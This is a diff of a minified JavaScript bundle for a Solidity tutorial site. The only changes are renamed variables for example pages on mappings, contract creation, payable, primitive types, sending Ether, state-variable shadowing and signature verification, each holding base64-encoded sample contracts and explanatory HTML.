                                        @@ -11523,7 +11895,7 @@ you can't send ether.

                                        } } } -
                                        `,pB=({prev:s,next:a})=>r.jsx(A,{version:$2,title:q2,description:sB,cyfrinLink:aB,html:lB,prev:s,next:a,codes:nB}),eB="0.8.26",cB="Mapping",tB="Example of using mapping in Solidity",oB="https://www.cyfrin.io/glossary/mapping-solidity-code-example",rB=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQoYWRkcmVzcyBfYWRkcikgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIE1hcHBpbmcgYWx3YXlzIHJldHVybnMgYSB2YWx1ZS4KICAgICAgICAvLyBJZiB0aGUgdmFsdWUgd2FzIG5ldmVyIHNldCwgaXQgd2lsbCByZXR1cm4gdGhlIGRlZmF1bHQgdmFsdWUuCiAgICAgICAgcmV0dXJuIG15TWFwW19hZGRyXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICAvLyBVcGRhdGUgdGhlIHZhbHVlIGF0IHRoaXMgYWRkcmVzcwogICAgICAgIG15TWFwW19hZGRyXSA9IF9pOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyKSBwdWJsaWMgewogICAgICAgIC8vIFJlc2V0IHRoZSB2YWx1ZSB0byB0aGUgZGVmYXVsdCB2YWx1ZS4KICAgICAgICBkZWxldGUgbXlNYXBbX2FkZHJdOwogICAgfQp9Cgpjb250cmFjdCBOZXN0ZWRNYXBwaW5nIHsKICAgIC8vIE5lc3RlZCBtYXBwaW5nIChtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBhbm90aGVyIG1hcHBpbmcpCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyh1aW50MjU2ID0+IGJvb2wpKSBwdWJsaWMgbmVzdGVkOwoKICAgIGZ1bmN0aW9uIGdldChhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFlvdSBjYW4gZ2V0IHZhbHVlcyBmcm9tIGEgbmVzdGVkIG1hcHBpbmcKICAgICAgICAvLyBldmVuIHdoZW4gaXQgaXMgbm90IGluaXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQyNTYgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],iB=`

                                        Maps are created with the syntax mapping(keyType => valueType).

                                        +`,dB=({prev:s,next:a})=>r.jsx(A,{version:oB,title:rB,description:iB,cyfrinLink:gB,html:IB,prev:s,next:a,codes:hB}),CB="0.8.26",jB="Mapping",AB="Example of using mapping in Solidity",uB="https://www.cyfrin.io/glossary/mapping-solidity-code-example",yB=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQ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iAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQyNTYgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],mB=`

                                        Maps are created with the syntax mapping(keyType => valueType).

                                        The keyType can be any built-in value type, bytes, string, or any contract.

                                        valueType can be any type including another mapping or an array.

                                        Mappings are not iterable.

                                        @@ -11569,7 +11941,7 @@ you can't send ether.

                                        delete nested[_addr1][_i]; } } -`,gB=({prev:s,next:a})=>r.jsx(A,{version:eB,title:cB,description:tB,cyfrinLink:oB,html:iB,prev:s,next:a,codes:rB}),hB="0.8.26",IB="Contract that Creates other Contracts",dB="Learn how to create new contracts from inside of a contract with Solidity",CB="https://www.cyfrin.io/glossary/contract-that-creates-other-contracts-solidity-code-example",jB=[{fileName:"NewContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNh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WV3CiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgICAgIHN0cmluZyBtZW1vcnkgbW9kZWwsCiAgICAgICAgICAgIGFkZHJlc3MgY2FyQWRkciwKICAgICAgICAgICAgdWludDI1NiBiYWxhbmNlCiAgICAgICAgKQogICAgewogICAgICAgIENhciBjYXIgPSBjYXJzW19pbmRleF07CgogICAgICAgIHJldHVybiAoY2FyLm93bmVyKCksIGNhci5tb2RlbCgpLCBjYXIuY2FyQWRkcigpLCBhZGRyZXNzKGNhcikuYmFsYW5jZSk7CiAgICB9Cn0K"}],AB=`

                                        Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

                                        +`,bB=({prev:s,next:a})=>r.jsx(A,{version:CB,title:jB,description:AB,cyfrinLink:uB,html:mB,prev:s,next:a,codes:yB}),wB="0.8.26",kB="Contract that Creates other Contracts",ZB="Learn how to create new contracts from inside of a contract with Solidity",WB="https://www.cyfrin.io/glossary/contract-that-creates-other-contracts-solidity-code-example",GB=[{fileName:"NewContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNhcnM7CgogICAgZnVuY3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0dXJucyAoCiAgICAgICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgICAgIHN0cmluZyBtZW1vcnkgbW9kZWwsCiAgICAgICAgICAgIGFkZHJlc3MgY2FyQWRkciwKICAgICAgICAgICAgdWludDI1NiBiYWxhbmNlCiAgICAgICAgKQogICAgewogICAgICAgIENhciBjYXIgPSBjYXJzW19pbmRleF07CgogICAgICAgIHJldHVybiAoY2FyLm93bmVyKCksIGNhci5tb2RlbCgpLCBjYXIuY2FyQWRkcigpLCBhZGRyZXNzKGNhcikuYmFsYW5jZSk7CiAgICB9Cn0K"}],BB=`

                                        Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

                                        // SPDX-License-Identifier: MIT
                                         pragma solidity ^0.8.26;
                                         
                                        @@ -11632,7 +12004,7 @@ you can't send ether.

                                        return (car.owner(), car.model(), car.carAddr(), address(car).balance); } } -
                                        `,uB=({prev:s,next:a})=>r.jsx(A,{version:hB,title:IB,description:dB,cyfrinLink:CB,html:AB,prev:s,next:a,codes:jB}),yB="0.8.26",mB="Payable",bB="An example of how to use the keyword payable in Solidity",wB="https://www.cyfrin.io/glossary/payable-solidity-code-example",kB=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGRlcG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LCB1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgLy8gTm90ZSB0aGF0ICJ0byIgaXMgZGVjbGFyZWQgYXMgcGF5YWJsZQogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],ZB=`

                                        Functions and addresses declared payable can receive ether into the contract.

                                        +`,fB=({prev:s,next:a})=>r.jsx(A,{version:wB,title:kB,description:ZB,cyfrinLink:WB,html:BB,prev:s,next:a,codes:GB}),VB="0.8.26",YB="Payable",XB="An example of how to use the keyword payable in Solidity",RB="https://www.cyfrin.io/glossary/payable-solidity-code-example",vB=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGRlcG9zaXQgRXRoZXIgaW50byB0aGlzIGNvbnRyYWN0LgogICAgLy8gQ2FsbCB0aGlzIGZ1bmN0aW9uIGFsb25nIHdpdGggc29tZSBFdGhlci4KICAgIC8vIFRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3Qgd2lsbCBiZSBhdXRvbWF0aWNhbGx5IHVwZGF0ZWQuCiAgICBmdW5j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mFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],NB=`

                                        Functions and addresses declared payable can receive ether into the contract.

                                        // SPDX-License-Identifier: MIT
                                         pragma solidity ^0.8.26;
                                         
                                        @@ -11671,7 +12043,7 @@ you can't send ether.

                                        require(success, "Failed to send Ether"); } } -
                                        `,WB=({prev:s,next:a})=>r.jsx(A,{version:yB,title:mB,description:bB,cyfrinLink:wB,html:ZB,prev:s,next:a,codes:kB}),BB="0.8.26",GB="Primitive Data Types",fB="Primitive data types",VB="https://www.cyfrin.io/glossary/primitive-data-types-solidity-code-example",YB=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbnQ4IHB1YmxpYyB1OCA9IDE7CiAgICB1aW50MjU2IHB1YmxpYyB1MjU2ID0gNDU2OwogICAgdWludDI1NiBwdWJsaWMgdSA9IDEyMzsgLy8gdWludCBpcyBhbiBhbGlhcyBmb3IgdWludDI1NgoKICAgIC8qCiAgICBOZWdhdGl2ZSBudW1iZXJzIGFyZSBhbGxvd2VkIGZvciBpbnQgdHlwZXMuCiAgICBMaWtlIHVpb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g1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50MjU2IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50MjU2IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],XB=`

                                        Here we introduce you to some primitive data types available in Solidity.

                                        +`,HB=({prev:s,next:a})=>r.jsx(A,{version:VB,title:YB,description:XB,cyfrinLink:RB,html:NB,prev:s,next:a,codes:vB}),KB="0.8.26",FB="Primitive Data Types",MB="Primitive data types",SB="https://www.cyfrin.io/glossary/primitive-data-types-solidity-code-example",xB=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbn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RlIGFycmF5cy4KICAgICAKICAgICBUaGUgdGVybSBieXRlcyBpbiBTb2xpZGl0eSByZXByZXNlbnRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50MjU2IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50MjU2IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],JB=`

                                        Here we introduce you to some primitive data types available in Solidity.

                                        • boolean
                                        • uint256
                                        • @@ -11733,7 +12105,7 @@ you can't send ether.

                                          int256 public defaultInt; // 0 address public defaultAddr; // 0x0000000000000000000000000000000000000000 } -`,vB=({prev:s,next:a})=>r.jsx(A,{version:BB,title:GB,description:fB,cyfrinLink:VB,html:XB,prev:s,next:a,codes:YB}),RB="0.8.26",NB="Sending Ether (transfer, send, call)",HB="An example of sending Ether in Solidity",FB="https://www.cyfrin.io/glossary/sending-ether-transfer-send-call-solidity-code-example",KB=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaX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sZSB7CiAgICAgICAgLy8gU2VuZCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vdCByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBib29sIHNlbnQgPSBfdG8uc2VuZChtc2cudmFsdWUpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gc2VuZFZpYUNhbGwoYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIENhbGwgcmV0dXJucyBhIGJvb2xlYW4gdmFsdWUgaW5kaWNhdGluZyBzdWNjZXNzIG9yIGZhaWx1cmUuCiAgICAgICAgLy8gVGhpcyBpcyB0aGUgY3VycmVudCByZWNvbW1lbmRlZCBtZXRob2QgdG8gdXNlLgogICAgICAgIChib29sIHNlbnQsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],MB=`

                                          How to send Ether?

                                          +`,zB=({prev:s,next:a})=>r.jsx(A,{version:KB,title:FB,description:MB,cyfrinLink:SB,html:JB,prev:s,next:a,codes:xB}),DB="0.8.26",EB="Sending Ether (transfer, send, call)",QB="An example of sending Ether in Solidity",TB="https://www.cyfrin.io/glossary/sending-ether-transfer-send-call-solidity-code-example",UB=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rp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F5YWJsZSB7CiAgICAgICAgLy8gU2VuZCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vdCByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBib29sIHNlbnQgPSBfdG8uc2VuZChtc2cudmFsdWUpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gc2VuZFZpYUNhbGwoYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIENhbGwgcmV0dXJucyBhIGJvb2xlYW4gdmFsdWUgaW5kaWNhdGluZyBzdWNjZXNzIG9yIGZhaWx1cmUuCiAgICAgICAgLy8gVGhpcyBpcyB0aGUgY3VycmVudCByZWNvbW1lbmRlZCBtZXRob2QgdG8gdXNlLgogICAgICAgIChib29sIHNlbnQsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],LB=`

                                          How to send Ether?

                                          You can send Ether to other contracts by

                                          • transfer (2300 gas, throws error)
                                          • @@ -11805,7 +12177,7 @@ you can't send ether.

                                            require(sent, "Failed to send Ether"); } } -`,SB=({prev:s,next:a})=>r.jsx(A,{version:RB,title:NB,description:HB,cyfrinLink:FB,html:MB,prev:s,next:a,codes:KB}),xB="0.8.26",JB="Shadowing Inherited State Variables",zB="An example of shadowing state variables by inheritance",DB="https://www.cyfrin.io/glossary/shadowing-inherited-state-variables-solidity-code-example",EB=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],QB=`

                                            Unlike functions, state variables cannot be overridden by re-declaring it +`,_B=({prev:s,next:a})=>r.jsx(A,{version:DB,title:EB,description:QB,cyfrinLink:TB,html:LB,prev:s,next:a,codes:UB}),OB="0.8.26",PB="Shadowing Inherited State Variables",$B="An example of shadowing state variables by inheritance",qB="https://www.cyfrin.io/glossary/shadowing-inherited-state-variables-solidity-code-example",sf=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],af=`

                                            Unlike functions, state variables cannot be overridden by re-declaring it in the child contract.

                                            Let's learn how to correctly override inherited state variables.

                                            // SPDX-License-Identifier: MIT
                                            @@ -11833,7 +12205,7 @@ in the child contract.

                                            // C.getName returns "Contract C" } -
                                            `,TB=({prev:s,next:a})=>r.jsx(A,{version:xB,title:JB,description:zB,cyfrinLink:DB,html:QB,prev:s,next:a,codes:EB}),UB="0.8.26",_B="Verifying Signature",LB="An example of how to verify signatures in Solidity",OB="https://www.cyfrin.io/glossary/verifying-signature-solidity-code-example",PB=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXA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gICAgICByIDo9IG1sb2FkKGFkZChzaWcsIDMyKSkKICAgICAgICAgICAgLy8gc2Vjb25kIDMyIGJ5dGVzCiAgICAgICAgICAgIHMgOj0gbWxvYWQoYWRkKHNpZywgNjQpKQogICAgICAgICAgICAvLyBmaW5hbCBieXRlIChmaXJzdCBieXRlIG9mIHRoZSBuZXh0IDMyIGJ5dGVzKQogICAgICAgICAgICB2IDo9IGJ5dGUoMCwgbWxvYWQoYWRkKHNpZywgOTYpKSkKICAgICAgICB9CgogICAgICAgIC8vIGltcGxpY2l0bHkgcmV0dXJuIChyLCBzLCB2KQogICAgfQp9Cg=="}],$B=`

                                            Messages can be signed off chain and then verified on chain using a smart contract.

                                            +`,nf=({prev:s,next:a})=>r.jsx(A,{version:OB,title:PB,description:$B,cyfrinLink:qB,html:af,prev:s,next:a,codes:sf}),lf="0.8.26",pf="Verifying Signature",ef="An example of how to verify signatures in Solidity",cf="https://www.cyfrin.io/glossary/verifying-signature-solidity-code-example",tf=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc2lnbmVyCiovCgpjb250cmFjdCBWZXJpZnlTaWduYXR1c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SkKICAgICAgICB9CgogICAgICAgIC8vIGltcGxpY2l0bHkgcmV0dXJuIChyLCBzLCB2KQogICAgfQp9Cg=="}],of=`

                                            Messages can be signed off chain and then verified on chain using a smart contract.

                                            Example using ethers.js

                                            // SPDX-License-Identifier: MIT
                                             pragma solidity ^0.8.26;
                                            @@ -11961,7 +12333,7 @@ How to Sign and Verify
                                                     // implicitly return (r, s, v)
                                                 }
                                             }
                                            -
